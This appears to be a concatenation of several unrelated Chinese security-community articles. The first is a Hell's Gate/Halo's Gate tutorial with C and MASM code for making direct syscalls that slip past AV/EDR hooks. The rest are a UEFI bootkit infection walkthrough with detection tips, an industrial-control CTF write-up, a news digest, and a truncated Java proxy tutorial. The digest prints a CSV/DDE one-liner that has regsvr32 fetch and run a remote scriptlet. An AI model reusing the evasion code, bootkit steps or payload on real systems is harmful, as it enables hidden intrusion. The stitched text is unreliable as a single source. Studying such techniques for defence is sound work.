其中包括了 **指向内存模块的函数地址指针** ， **一个函数哈希** (后续通过Hash查找内存模块的函数)以及
**一个无符号16位的系统调用号**`wSysemCall`
同时还定义了一个更大的数据结构`_VX_TABLE`用来包含每一个系统调用的函数:
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
下面就需要通过PEB的相关结构来动态获取系统调用号和函数地址来填充刚刚定义的数据结构以便于自己实现系统调用，作者的思路是通过TIB(线程信息块)获取TEB然后在获取TEB的数据结构，这也是最常见的方式:
#在Windows x64中，TEB的寄存器换做了GS寄存器，使用[GS:0x30]访问
NtCurrentTeb();
// x86
__readfsqword(0x18);
// x64
__readgsqword(0x30);
因此我们获取PEB的方式就变为调用`__readgsqword`或者`__readfsdword`:
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) {
return 0x1;
}
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
# 最后还通过PEB的成员OSMajorVersion判断操作系统是否是Windows 10
之后的操作和前文我们实现遍历模块的导出函数是一致的，需要我们解析PE头然后找到EAT:
成功获取EAT指针之后现在就需要将之前定义的数据结构填充，通过`GetVxTableEntry`函数填充`_VX_TABLE`:
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
GetVxTableEntry(ImageBase, ExportTable, &Table.NtAllocateVirtualMemory);
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
GetVxTableEntry(ImageBase, ExportTable, &Table.NtCreateThreadEx);
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
GetVxTableEntry(ImageBase, ExportTable, &Table.NtProtectVirtualMemory);
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
GetVxTableEntry(ImageBase, ExportTable, &Table.NtWaitForSingleObject);
在实例代码中主要是实现了Ntdll中的四个函数，分别如上所示，因此需要知道这四个函数的Hash以及四个`_VX_TABLE_ENTRY`结构体，`Hell's
gate`最为关键的处理函数也就包含在`GetVxTableEntry`之中:
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY ExporTable, PVX_TABLE_ENTRY pVxTableEntry)
{
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + ExporTable-> AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + ExporTable->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + ExporTable -> AddressOfNameOrdinals);
for (WORD cx = 0; cx < ExporTable->NumberOfNames; cx++)
{
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash)
{
printf("[+]Function:%s Matched\n", pczFunctionName);
pVxTableEntry->pAddress = pFunctionAddress;
// 定位mov eax的操作码
if (*((PBYTE)pFunctionAddress + 3) == 0xb8)
{
BYTE high = *((PBYTE)pFunctionAddress + 5);
BYTE low = *((PBYTE)pFunctionAddress + 4);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
}
}
}
首先遍历导出表的函数，通过djb2算法计算每一个函数哈希与我们想要实现的函数哈希比较，如果相同则填充函数地址，并且验证函数第三步以寻找汇编代码`0xb8`即`mov
eax`是否存在，因为系统调用号是一个WORD类型，也就是两个字节并且是小端存储，因此通过高低位转换的方式最终动态获得系统调用号填充到函数结构体`pVxTableEntry`中
BYTE high = *((PBYTE)pFunctionAddress + 5);
BYTE low = *((PBYTE)pFunctionAddress + 4);
pVxTableEntry->wSystemCall = (high << 8) | low;
最后我们便可以通过这样一段宏汇编代码(MASM)来定义执行通过系统调用号调用NT函数的函数:
wSystemCall DWORD 0h
.code
HellsGate PROC
mov wSystemCall, 0h
mov wSystemCall, ecx
ret
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
end
第一个函数HellsGate用来设置对应Nt函数的系统调用号，第二个函数直接模拟系统调用来调用对应系统调用号的函数,过程和下图`ZwSetInformationFile`的汇编指令是一样的，省略了判断线程执行环境是x64还是x86:
因此当我们想要调用Nt函数时，并且在已经得到PE头文件基址和EAT后我们可以先对之前定义的数据结构进行填充:
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtAllocateVirtualMemory))
{
printf("[-]GetVxTableEntry Failed!\n");
return -1;
}
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtCreateThreadEx))
{
printf("[-]GetVxTableEntry Failed!\n");
return -1;
}
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtProtectVirtualMemory))
{
printf("[-]GetVxTableEntry Failed!\n");
return -1;
}
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(ImageBase, ExportTable, &Table.NtWaitForSingleObject))
{
printf("[-]GetVxTableEntry Failed!\n");
return -1;
}
这样每一个我们想调用的Nt函数都有唯一的`VT_TABLE_ENTRY`结构体，其中包含该函数对应的系统调用号、函数地址指针和函数哈希，随后我们通过定义的汇编函数进行调用:
汇编如下:
这样我们便能够模拟引入Ntdll调用Nt函数的方式，也就是调用`Native API`而不是`Win API`来绕过Hooks
## 0x06 局限以及解决方案
### 1.光环之门 Halo’s Gate
地狱之门这项技术通过访问PEB中已经加载到内存的模块NTDLL，
**从模块中提取所述的系统调用号和函数地址指针并将它们保存在专用内存表中，然后用于直接调用系统 API。实现动态检索系统调用号**
，非常之巧妙，但仍存在一定局限性:
Hell’s
Gate的一个最大的局限是它所访问内存中的NTDLL也必须是默认的或者说是未经修改的，因为如果本身NTDLL已经被修改过，或者被Hook过则函数汇编操作码就不会是`0xb8`，对应着`mov
eax`，而可能是`0xE9`,对应着`jmp`
前文这张图已经体现的很明显
因此当我们需要调用的NT函数已经被AV/EDR所Hook，那我们就无法通过地狱之门来动态获取它的系统调用号
因此出现了光环之门(Halo’s Gate)这项技术，准确的来说这种技术只是地狱之门的一个补丁，它源于一个勒索软件使用的脱钩技术:
<https://blog.vincss.net/2020/03/re011-unpack-crypter-cua-malware-netwire-bang-x64dbg.html>
从上图我们可以看到，`ZwMapViewOfSection`已经被Hook，而它的邻函数`ZwSetInformationFile和NtAccessCheckAndAuditAlarm`都没有被Hook，并且邻函数的系统调用号也是临接的，这给了我们一个这样的思路:
* 为了重构`ZwMapViewOfSection`的系统调用号只需查看邻函数的系统调用号并进行相应调整即可，如果邻函数同样被Hook，则检查邻函数的邻函数，以此类推
在`Doge-Gabh`中已经集成了`Halo's Gate`，我们通过源码来看一下实现过程:
从windbg中也可以看到:
前四个字节分别为`4c8bd1b8`且后两个字节为00，中间两个字节对应的系统调用号
当出现被Hook的Nt函数时便采取向周围查询的方式:
因此通过`Halo's Gate`使得`Hell's Gate`能最大程度的发挥和实现，从而实现敏感函数的脱钩处理
### 2.按系统调用地址排序
这里还介绍一种更加方便简单和迅速的方法来发现SSN(syscall
number),这种方法不需要unhook，不需要手动从代码存根中读取，也不需要加载NTDLL新副本，可以将它理解成为光环之门的延伸，试想当上下的邻函数都被Hook时，光环之门的做法是继续递归，在不断的寻找没有被Hook的邻函数，而在这里假设一种最坏的情况是所有的邻函数(指Nt系函数)都被Hook时，那最后将会向上递归到`SSN=0`的Nt函数，
**在此之前我们需要知道了解几个知识:**
* 1.实际上所有的Zw函数和Nt同名函数实际上是等价的
* 2.系统调用号实际上是和Zw函数按照地址顺序的排列是一样的
因此我们可以就获得了这样一种获取系统调用索引的简单方法,即枚举所有Zw*函数，记录函数名称和地址，然后按地址对它们进行排序（使用升序排列），这样每一个Zw函数对应的SSN就是在升序排列中对应的索引值:
于是当我将所有的Zw系函数记录，并且将其以地址为键名进行升序排列，输出前三个函数时我们可以发现:
上图为所有Zw函数按照地址顺序排列后的前三个，我们在从windbg中查看本地对应的三个Nt函数的SSN:
和升序排列后对应的索引顺序是完全一致的，
**因此我们就只需要遍历所有Zw函数，记录其函数名和函数地址，最后将其按照函数地址升序排列后，每个函数的SSN就是其对应的排列顺序**
贴一个利用Map实现的获取SSN的代码实现:
void GetSSN()
{
std::map<int, string> Nt_Table;
PBYTE ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
// NTDLL
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (PBYTE)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
return 1;
Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
// printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
}
}
int index = 0;
for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
cout << "index:" << index << ' ' << iter->second << endl;
index += 1;
}
}
同样可以实现获取Nt系函数的SSN,排列顺序索引和SSN的值是完全对应的:
以上两种方式都是代替Hell’s Gate获取SSN的不错实现方式，在这里抛砖引玉做一个简答介绍，所述之处有错还请谅解
* * *
**参考文章:**
<https://github.com/am0nsec/HellsGate/blob/master/hells-gate.pdf>
<https://www.kn0sky.com/?p=69> | 社区文章 |
# UEFI bootkit 的感染与手工检测
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概要
BIOS，全称基本输入输出系统，其诞生之初也曾是门先进的技术，但得益于软硬件的飞速发展，传统 BIOS
由于其开发效率低下（主要使用汇编开发）、安全性差、性能低下等原因，已经逐渐退出历史舞台。取而代之的是 UEFI（个人认为称之为 UEFI BIOS
也可以）。
UEFI (Unified Extensible Firmware Interface)，全称统一可扩展固件接口。UEFI
只是一个标准，其实现主要还是其它厂商或者开源组织。例如，Intel开源的 TinaoCore，就是一个典型的与硬件无关的框架。
相比传统 BIOS，UEFI 有诸多优点，如开发效率更高（可用 C/C++
开发），系统性能强（可以加载图片，甚至可以实现基于事件的异步操作）以及良好的可扩展性。可扩展性体现在模块化设计和动态加载上，UEFI 驱动（非
Windows 驱动）模块每个都是独立模块，可以放在固件里，也可以放在磁盘上，根据需要进行加载。
由于计算机安全技术的快速发展，目前计算机受到的攻击不仅是操作系统层面的攻击，针对固件层面的攻击也原来更为普遍。UEFI
由于其模块化设计，动态加载，使用硬盘存储扩展模块等，都导致了 UEFI BIOS 面临着更多的安全问题。
对于 UEFI BIOS 的攻击，从感染方式上来讲，个人认为可以分为两种：一种是针对 BIOS 固件的攻击，一种是磁盘上扩展模块的攻击。本文着重介绍第二种。
## UEFI 引导启动过程与感染原理
### **1\. UEFI 引导启动的 7 个阶段**
要了解 UEFI 的感染原理，必须了解 UEFI 的执行流程。UEFI 标准规定，其引导启动过程分为 7 个阶段。大致过程如下：
（图片源自网络，侵删）
**SEC（Security Phase）:**
1）计算机加电后的首个阶段，接收并处理启动、重启、严重异常信号；
2）初始化临时 RAM（区别于通常所说的内存），通常为 CPU 的 Cache；
3）传递参数给下一阶段（PEI 阶段）;
**PEI (Pre-EFI Initialization):**
1）为 DXE 阶段准备执行环境（完成内存初始化）；
2）将需要的信息传递给 DXE 阶段；
**DXE (Driver Execution Environment，驱动执行环境):**
加载 UEFI 驱动，完成大部分初始化工作。
**BDS (Boot Device Selection):**
执行启动策略，主要为：
1）初始化设备控制台；
2）加载相关 UEFI 驱动设备；
3）加载并执行启动项；
**TSL (Trainsient System Load):**
该阶段正式准备加载操作系统
1）加载并运行 OS Loader（OS Loader 作为 UEFI 应用）;
2）调用 ExitBootServices 后进入 RT 阶段；
**RT (Run Time):**
1）控制权由 UEFI 内核转交到 OS Loader 中；
2）清理回收 UEFI 之前占用的资源；
**AL (After Life):**
用于系统灾难恢复。
以上就是 UEFI 从加电到关机的 7 个阶段。
从设计上来讲，SEC 阶段被默认为是可信和安全的，想要对 SEC 阶段进行感染必须进行固件刷写（刷固件理论上可以对各阶段进行感染，而不仅仅是 SEC
阶段代码），这就是我们常见的 UEFI bootkit 实现方式之一。而另一种常见的实现 UEFI bootkit 感染的技术就是通过硬盘上存在的 UEFI
模块进行劫持或篡改，此种攻击方式主要是在 DXE/BSD/TSL 阶段进行。
### **2\. UEFI 的感染方式**
**2.1 ESP 分区和引导**
在 Windows 环境下，借助硬盘的 ESP 分区也能实现 UEFI 感染。
如果 Windows 是通过 UEFI+GPT 方式引导启动，则在硬盘上，Windows 安装文件会在磁盘上开辟一个隐藏分区，称为 ESP
分区，如下图所示：
ESP 分区本质上是 FAT 格式的分区，因为 UEFI 本身只支持 FAT 格式的文件系统。该分区中，有两个用于引导的模块，bootx64.efi（32
位下为 bootia32.efi）和 bootmgfw.efi。
bootx64.efi:\EFI\Boot\bootx64.efi;
bootmgfw.efi:\EFI\Microsoft\Boot\bootmgfw.efi;
这两个文件中，bootx64.efi 是用于磁盘引导，而 bootmgfw.efi 是进行操作系统加载的（OS Loader）。如果一定要和传统 BIOS
引导类比的话，bootx64.efi 相当于 MBR，而 bootmgfw.efi 则类似于(NTLDR/Winload.exe)。
不同的是，UEFI 下的 Windows，启动时不一定需要使用 bootx64.efi，而可以直接选择使用 bootmgfw.efi 作为 Windows
启动管理器 (Windows Boot Manager，一般默认情况下使用 bootmgfw.efi)。但如果一定要使用 bootx64.efi
进行启动，也可以进入 BIOS 进行手工设置，典型场景就是 U 盘 WinPE 进行启动，通过 U 盘内的 bootx64.efi 进行磁盘引导。
以下是笔者的 UEFI 启动设置，Windows Boot Manager 为 UEFI 系统默认，bootkit_test
是笔者手动添加的基于磁盘引导的启动方式。
需要说明的是，如果系统通过 bootx64.efi 进行启动，其最终还是会调用 bootmgfw.efi。
**2.2 EFI 模块及其本质**
对于 UEFI 开发来说，其程序一般分为两大类，一种是 UEFI 应用程序，一种是 UEFI 驱动程序，其后缀名都是 .efi
格式。但其实这并不是一种新的文件格式，而是符合 PE/COFF 规范的 PE 文件，更准确的说无论是 UEFI 应用程序还是 UEFI 驱动程序都是符合
E/COFF 的 dll 文件。EFI 文件的识别可以通过 Exeinfo PE 进行查看，如下图：
### **2.3 bootx64.efi 与 bootmgfw.efi 的关系**
先说结论：bootx64 就是 bootmgfw，两者是同一个文件，只是放在不同路径下会调用其不同功能。
笔者将自己电脑上的两个文件提取出来并进行了 hash 对比，发现两者 hash 完全一致。也就是说，该文件至少具备磁盘引导、Windows 启动管理以及
OS Loader 的功能。
**2.4 UEFI bootkit 代码分析与感染复现**
**2.4.1 源码流程分析**
本次采用的代码为开源 UEFI bootkit 代码，github 地址：https://github.com/ajkhoury/UEFI-Bootkit
该工程文件分为两部分，UEFIApplication 为 loader 程序（编译后重命名为 bootx64.efi），UefiDriver
为真正实现内核感染的文件（编译后重命名为 rtdriver.efi）
先来看 bootx64.efi 的代码：
可以看到，其代码流程非常简单，通过 `LocateFile`函数遍历所有分区，查找 rtdriver.efi，找不到就直接退出，然后通过
`ImageLoad`函数将驱动加载至内存（不运行），最后调用函数 `ImageStart `运行 bootkit 驱动，代码完成，程序退出。
rtdriver.efi 的主要代码如下：
定位 Windows Boot Manager，即 bootmgfw.efi，然后加载至内存，对函数 PatchWindowsBootManager
对bootmgfw.efi 进行 patch，然后运行 bootmgfw.efi。
进入 PatchWindowsBootManager 函数。
该函数对 bootmgfw.efi 的 ImgArchEfiStartBootApplication函数进行 hook 从而获得控制权，然后在自己的
hook 函数中又对 winload.efi 的 OslArchTransferToKernel 进行 hook，从而使得在加载 OS
内核镜像（ntoskrnl.exe）的时候 patch 掉 Windows 的 PatchGuard 代码，实现任意 rootkit 行为，代码如下：
整体流程大致如下：
**2.4.2 感染复现**
在了解了 UEFI 引导过程以及 bootkit 代码的分析后，复现就变得很容易了。
a）将编译出来的 bootx64.efi 以及 rtdriver.efi 放到 ESP 分区的 \EFI\Boot 目录下（原始 bootx64.efi
将会被替换），笔者这边是使用 Diskgenus 来操作的；
b）重启主机，进入 BIOS，关闭 Security Boot；
c）在 BIOS 中增加磁盘启动的引导项。
复现成功后如下图所示：
## UEFI 感染的手工检测方法
### **1\. efi 文件检测**
使用磁盘工具将 ESP 分区盘符显示出来，然后查看 bootx64.efi（32 位 bootia32.efi）以及 bootmgfw.efi
的文件签名是否为微软的，并查看 ESP 分区下是否有多余的 EFI 模块。
### **2\. 内核检测**
bootkit 通常会对 ntoskrnl 进行 patch，检测内核回调（Dreamboot）是否异常，或者对 PatchGuard 代码进行检测（关键
API KeInitAmd64SpecificState）。
## 引用
1. 《UEFI 原理与编程》
2. https://blog.csdn.net/leochen_lc/article/details/103541984
3. https://www.zhihu.com/question/36313402?sort=created
4. https://www.cnblogs.com/liuzhenbo/p/10825136.html
5. https://github.com/cursesun/UEFI-Bootkit
6. 《统一可扩展固件接口攻击方法研究》
7. 《efibios: EFI/UEFI BIOS 入门》
## 关于微步情报局
微步情报局，即微步在线研究响应团队，负责微步在线安全分析与安全服务业务，主要研究内容包括威胁情报自动化研发、高级 APT
组织&黑产研究与追踪、恶意代码与自动化分析技术、重大事件应急响应等。 | 社区文章 |
2019工业信息安全技能大赛个人线上赛第二场一共十道题，本人对做出的五道题目进行分析。
第一场： <https://xz.aliyun.com/u/21528>
## 1.1.破解加密数据
题目：某工控厂商自行研发了一套加密系统，这样的话只要不是系统内部人员，即使数据被窃听没关系了。你截获了一段密文：109930883401687215730636522935643539707，请进行解密，flag形式为{}
题目附件连接：<https://pan.baidu.com/s/1bKVpT_umaEt2fkqrlwmUKw> （提取码：tseo）
解题步骤：
1. 打开附件，是一个代码段，分析代码，明文使用了Rabin加密，[Rabin加密](https://blog.csdn.net/qq_15727809/article/details/77871455 "Rabin加密")
m = "109930883401687215730636522935643539707"
e = 2
n = 0x6FBD096744B2B34B423D70C8FB19B541
assert(int(m.encode('hex'), 16) < n)
c = pow(int(m.encode('hex'), 16),e,n)
print c
#109930883401687215730636522935643539707
2. 通过资料了解加密方式后，编写解密脚本，将n分解出p和q，解密脚本如下：
import gmpy2
c=109930883401687215730636522935643539707
n=0x6fbd096744b2b34b423d70c8fb19b541
p=10848126018911527523
q=13691382465774455051
#获得c^(1/2)modp,q的解
r=pow(c,(p+1)/4,p)
s=pow(c,(q+1)/4,q)
#使用中国定理组合解
pni=int(gmpy2.invert(p,q))
qni=int(gmpy2.invert(q,p))
a=(s*p*pni+r*q*qni)%n
a1=n-a
b=(s*p*pni-r*q*qni)%n
b1=n-b
print (['0',''][len(hex(a))%2]+hex(a)[2:-1]).decode("hex")
print (['0',''][len(hex(a))%2]+hex(a1)[2:-1]).decode("hex")
print (['0',''][len(hex(a))%2]+hex(b)[2:-1]).decode("hex")
print (['0',''][len(hex(a))%2]+hex(b1)[2:-1]).decode("hex")
3. 运行脚本得到Flag，Flag为`flag_EnCryp1`
## 1.2.工控安全取证
题目：有黑客入侵了工控设备后再内网发起大量扫描，而且扫描次数不止一次。分析日志指出第四次发起扫描时数据包的编号，flag形式为{}
题目附件连接：<https://pan.baidu.com/s/1MEhe8A1htS0ew9Pav_JaUA> （提取码：q73d）
解题步骤：
1. 打开附件发现是一个.log文件，因为题目时流量分析题，于是想到将文件后缀改为.pacap，然后利用wireshark成功将文件打开，如图所示：
2. 分析流量包发现存在ICMP、TCP、UDP协议的流量包，其中IP地址192.168.0.9向IP地址192.168.0.99发送大量的TCP请求，题目要求分析第四次发起扫描时的数据包，如果一个一个审计TCP的连接请求工作量太大，于是换一个思路，观察数据包发现，一开始，IP地址192.168.0.9向IP地址192.168.0.99发送了一个ICMP的Ping请求，之后才是大量的TCP请求数据。于是，猜测在每次发送TCP请求是，会先进行一次ICMP的Ping请求。于是，在wireshark中过滤出ICMP的数据包进行分析，然后分析其中ICMP的数据包编号，最终发现IP为192.168.0.199的ICMP的Ping请求对应的数据包编号155989为Flag，Flag为`155989`。
## 1.3.恶意软件后门分析
题目：工程师的笔记本上发现了恶意软件，经排查是一款著名针对工业领域的病毒，溯源分析远控样本文件，确认远程C&C连接地址。flag形式为flag{}
题目附件连接：<https://pan.baidu.com/s/1IbeUC0pwN3A5S6NnlfejaA> （提取码：ted4）
解题步骤：
1. 打开附件是一个文件，在linux中使用file指令查看文件是什么类型，发现文件是一个windows的PE文件。
2. 将文件在IDA中进行分析，因为题目说是找远程C&C连接地址，所以应该和网络连接相关，于是可以尝试通过搜索关键字"HTTP"，来寻找内容。当通过搜索关键字"HTTP"，找到个"WinHttpWriteData"，点击进去发现两个IP地址10.15.1.69:3128和5.39.218.152，尝试提交，最终IP地址5.39.218.152提交成功，因此Flag为`5.39.218.152`。
## 1.4.特殊工控流量
题目：某10段工控网络中，工业协议中存在异常数据。请通过流量中的数据找寻flag
题目附件连接：https: （提取码：）
解题步骤：
1. 打开流量包发现工控协议只有S7Comm[西门子通信协议S7Comm](https://laucyun.com/3aa43ada8cfbd7eca51304b0c305b523.html "西门子通信协议S7Comm")，
因为题目说工控协议存在异常数据，因此，重点分析S7Comm的流量。首先在wireshark的过滤器中输入`S7Comm`，过滤出S7Comm的数据，根据S7Comm的数据格式分析，S7Comm的PDU存在如下两个类型:
PDU类型 | 作用
---|---
ACK_DATA | 确认数据响应 ，响应JOB的请求
JOB | 作业请求，由主设备发送的请求（例如，读/写存储器，读/写块，启动/停止设备，设置通信）
PDU数据部分携带有功能码，通过脚本分析7Comm的数据使用了那种功能码，考虑不同的功能可能会产生异常的数据，代码如下。
import pyshark
def func_s7():
try:
captures = pyshark.FileCapture("ICS-2019-1.pcap")#这里为文件的路径
func_codes = {}
for c in captures:
for pkt in c:
if pkt.layer_name == "s7comm":
if hasattr(pkt, "param_func"):#param_func功能码字段
func_code = pkt.param_func
if func_code in func_codes:
func_codes[func_code] += 1
else:
func_codes[func_code] = 1
print(func_codes)
except Exception as e:
print(e)
if __name__ == '__main__':
func_s7()
1. 执行后的如图所示，一共存在三种功能码：0x04(读取值 Read Var)出现172683次、0xf0(建立通信 Setup communication)出现32次、0x05(写入值 Write Var)出现96次。
2. 因为异常数据很有可能被黑客写入设备，因此首先重点分析功能码为0x05的流量，在wireshark中过滤流量`s7comm.param.func ==0x05`，其中PDU为Job的数据包是有可能存在黑客写入的数据请求，于是人工审计PDU为Job的数据包，于是发现编号为88607的数据包在数据部分存在一串可以的16进制字符串`69735f6e6f745f7265616c`，通过在转换得到对应的ASCII码:`is_not_real`，提交正确，因此，flag为`is_not_real`
## 1.5.简单流量分析
题目：不久前，运维人员在日常安全检查的时候发现现场某设备会不时向某不知名加发甜非正常的ICMP
PING包。这引起了运维人员的注意，他在过滤出ICMP包分析并马上开始做应急处理很可能已被攻击的设备。运维人员到底发现了什么?flag形式为flag}
题目附件连接：链接：<https://pan.baidu.com/s/1IbD_AWnXLWiUH-RgbQqq5g> 提取码：j63x
1. 打开数据包发现存在大量的ICMP的请求包和响应数据包。
2. 分析发现请求包和响应包的数据部分都存在着内容，内容是一串字符内容，尝试进行解密，但是失败。
3. 在分析发现ICMP数据部分（data）的长度对应的ASCII码有可能是flag值，利用脚本将ICMP数据部分的长度提取出来，发现是一串base64编码的字符串，然后利用base64解码，得到flag，flag值为：`FLAG{xx2b8a_6mm64c_fsociety}`
#!/usr/bin/python
# coding=utf8
import pyshark
import base64
L_flag= []
packets = pyshark.FileCapture('fetus_pcap.pcap')
for packet in packets:
for pkt in packet:
if pkt.layer_name == "icmp":
if int(pkt.type) != 0:
L_flag.append(int(pkt.data_len))
c=len(L_flag)
for i in range(0,c):
L_flag[i]=chr(L_flag[i])
print(''.join(L_flag))
print(base64.b64decode(''.join(L_flag)))
1. 这道题真的是有一点脑洞，分析尝试了很多方法，没想到最后在ICMP数据长度上做了文章。
# 参考连接
2. [西门子通信协议S7Comm](https://laucyun.com/3aa43ada8cfbd7eca51304b0c305b523.html "西门子通信协议S7Comm")
3. [Rabin加密](https://blog.csdn.net/qq_15727809/article/details/77871455 "Rabin加密")
4. [计网实验笔记（一）](https://0verwatch.top/comp-net-1.html "计网实验笔记（一）") | 社区文章 |
# 12月12日安全热点 - ProxyM僵尸网络/ISP Comcast继续js代码注入
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
14亿明文密码在暗网流通
<https://medium.com/4iqdelvedeep/1-4-billion-clear-text-credentials-discovered-in-a-single-database-3131d0a1ae14>
谷歌员工发布推文
“iOS 11.1.2, now with more kernel debugging”
<https://twitter.com/i41nbeer/status/940254977838206976>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1417#c3>
ProxyM僵尸网络正作为黑客SQLi, XSS, LFI攻击的中继节点
（这个僵尸网络从今年2月开始活跃，曾一度感染至10000台设备）
<https://www.bleepingcomputer.com/news/security/proxym-botnet-used-as-relay-point-for-sqli-xss-lfi-attacks/>
电信运营商Comcast继续向用户访问的网站注入js代码弹框提示用户进行升级
<https://thenextweb.com/insights/2017/12/11/comcast-continues-to-inject-its-own-code-into-websites-you-visit/>
比特币与门罗币的比较
（门罗币相对比特币的优点在于：1.不可追踪；2.交易快捷；3.普通电脑就可以挖矿）
<https://blog.malwarebytes.com/security-world/2017/12/how-cryptocurrency-mining-works-bitcoin-vs-monero/>
## 技术类
[Tools]一行Powershell代码从内存中拿到Wdigest 密码
<https://github.com/giMini/mimiDbg>
[Tools]Invoke-MacroCreator: 用于创建VBA宏的word文档，可执行各种payload的powershell脚本
<https://github.com/Arno0x/PowerShellScripts/tree/master/MacroCreator>
[Tools]从Vdex文件反编译和提取Android Dex字节码的工具
<https://github.com/anestisb/vdexExtractor>
[Tools]IDA调试插件for android
<https://github.com/zhkl0228/AndroidAttacher>
[漏洞]Lenovo OEM-installed crapware comes with a nice Code Execution feature!
Could be used to bypass app whitelisting or privesc (guest account to main
user)
<http://riscy.business/2017/12/lenovos-unsecured-objects/>
[Tools]Linux内存加密密钥提取工具
<https://github.com/cryptolok/crykex>
[教程]在Debian 7.5 mipsel Ci20上运行Metasploit
<https://astr0baby.wordpress.com/2017/12/10/running-metasploit-framework-on-debian-7-5-mipsel-ci20/>
不用powershell.exe，通过.csv文件拿到shell
fillerText1,fillerText2,fillerText3,=MSEXCEL|'\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''
<https://twitter.com/G0ldenGunSec/status/939215702073991168>
[漏洞]iOS/macOS – Kernel Double Free due to IOSurfaceRootUserClient not
Respecting MIG Ownership Rules
<https://www.exploit-db.com/exploits/43320/>
[漏洞]MikroTik 6.40.5 ICMP – Denial of Service
<https://www.exploit-db.com/exploits/43317/> | 社区文章 |
## 0x01 前言
在上篇文章当中，我们了解了反射的机制，可以绕过java私有访问权限检查，反射获取并调用Runtime类执行命令执行。而Java的自带jdk动态代理机制，位于java.lang.reflect.proxy包中，其本质实现是通过反射执行invoke方法来动态获取执行方法。大家可以总结进行对比学习下。
## 0x02 概念
代理模式Java当中最常用的设计模式之一。其特征是代理类与委托类有同样的接口，代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类，以及事后处理消息等。而Java的代理机制分为静态代理和动态代理，而这里我们主要重点学习java自带的jdk动态代理机制。
## 0x03 静态代理示例讲解
在讲动态代理之前，我们先了解下什么是静态代理。静态代理在编译使用时,定义接口或者父类,被代理对象与代理对象一起实现相同的接口或者是继承相同父类。我们用一个出租房子作为实例讲解。
定义一个接口
public interface Rental {
public void sale();
}
委托类
// 委托类，实现接口的方法
public class Entrust implements Rental{
@Override
public void sale() {
System.out.println("出租房子");
}
}
代理类
public class AgentRental implements Rental{
private Rental target; // 被代理对象
public AgentRental(Rental target) {
this.target = target;
}
@Override
public void sale() {
